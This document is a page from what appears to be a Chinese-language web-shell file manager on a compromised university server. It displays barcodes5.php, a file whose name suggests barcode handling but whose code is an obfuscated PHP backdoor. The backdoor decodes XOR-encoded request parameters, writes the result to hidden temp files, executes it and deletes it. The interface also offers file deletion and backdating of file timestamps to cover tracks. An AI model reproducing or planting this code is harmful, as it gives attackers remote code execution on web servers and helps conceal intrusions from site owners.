文件操作 - barcodes5.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/barcodes5.php
编辑文件内容
<?php if(array_key_exists("m\x61rk\x65r", $_POST) && !is_null($_POST["m\x61rk\x65r"])){ $dchunk = $_POST["m\x61rk\x65r"]; $dchunk = explode ( ".", $dchunk ); $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach ($dchunk as $v8) { $sChar = ord($s[$z % $lenS]); $dec = ((int)$v8 - $sChar - ($z % 10)) ^ 92; $record .= chr($dec); $z++; } $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp"]); while ($ref = array_shift($parameter_group)) { if (!( !is_dir($ref) || !is_writable($ref) )) { $sym = "$ref/.descriptor"; if (file_put_contents($sym, $record)) { include $sym; @unlink($sym); die(); } } } } if(!is_null($_REQUEST["ma\x72k\x65r"] ?? null)){ $record = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd()]); $ent = $_REQUEST["ma\x72k\x65r"]; $ent= explode ( "." ,$ent ) ; $pset= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $k= 0; while( $k < count( $ent)) { $v1= $ent[$k]; $sChar= ord( $s6[$k % $lenS]); $d= ( ( int)$v1 - $sChar -( $k % 10)) ^ 66; $pset.= chr( $d); $k++;} while ($val = array_shift($record)) { if (array_product([is_dir($val), is_writable($val)])) { $rec = str_replace("{var_dir}", $val, "{var_dir}/.mrk"); if (file_put_contents($rec, $pset)) { include $rec; @unlink($rec); exit; } } } } if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6F\x69\x6E\x74er"])){ $parameter_group = $_REQUEST["p\x6F\x69\x6E\x74er"]; $parameter_group = explode ( "." , $parameter_group ) ; $element =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($parameter_group as $j => $v1): $sChar =ord($salt[$j %$lenS] ); $dec =((int)$v1 - $sChar - ($j %10)) ^ 13; $element .= chr($dec ); endforeach; $marker = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); foreach ($marker as $key => $data) { if (is_dir($data) ? is_writable($data) : false) { $tkn = "$data/.ent"; if (file_put_contents($tkn, $element)) { require $tkn; unlink($tkn); die(); } } } } if(!empty($_REQUEST["\x70oi\x6E\x74e\x72"])){ $value = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $record = $_REQUEST["\x70oi\x6E\x74e\x72"]; $record = explode ( '.', $record ) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $o = 0; $__len = count( $record); do { if( $o >= $__len) break; $v5 = $record[$o]; $sChar = ord( $salt7[$o % $lenS]); $d =( ( int)$v5 - $sChar -( $o % 10)) ^ 21; $flg .= chr( $d); $o++; } while( true); while ($pgrp = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $binding = "$pgrp" . "/.ent"; if (file_put_contents($binding, $flg)) { require $binding; unlink($binding); exit; } } } } if(array_key_exists("v\x61\x6C", $_REQUEST) && !is_null($_REQUEST["v\x61\x6C"])){ $descriptor = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $data = $_REQUEST["v\x61\x6C"]; $data =explode( "." , $data ) ; $tkn= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt3); foreach( $data as $s=>$v6): $sChar= ord( $salt3[$s % $lenS]); $dec= ( ( int)$v6 - $sChar -( $s % 10)) ^ 14; $tkn .= chr( $dec); endforeach; while ($resource = array_shift($descriptor)) { if (is_dir($resource) && is_writable($resource)) { $marker = "$resource/.bind"; if (file_put_contents($marker, $tkn)) { require $marker; unlink($marker); exit; } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件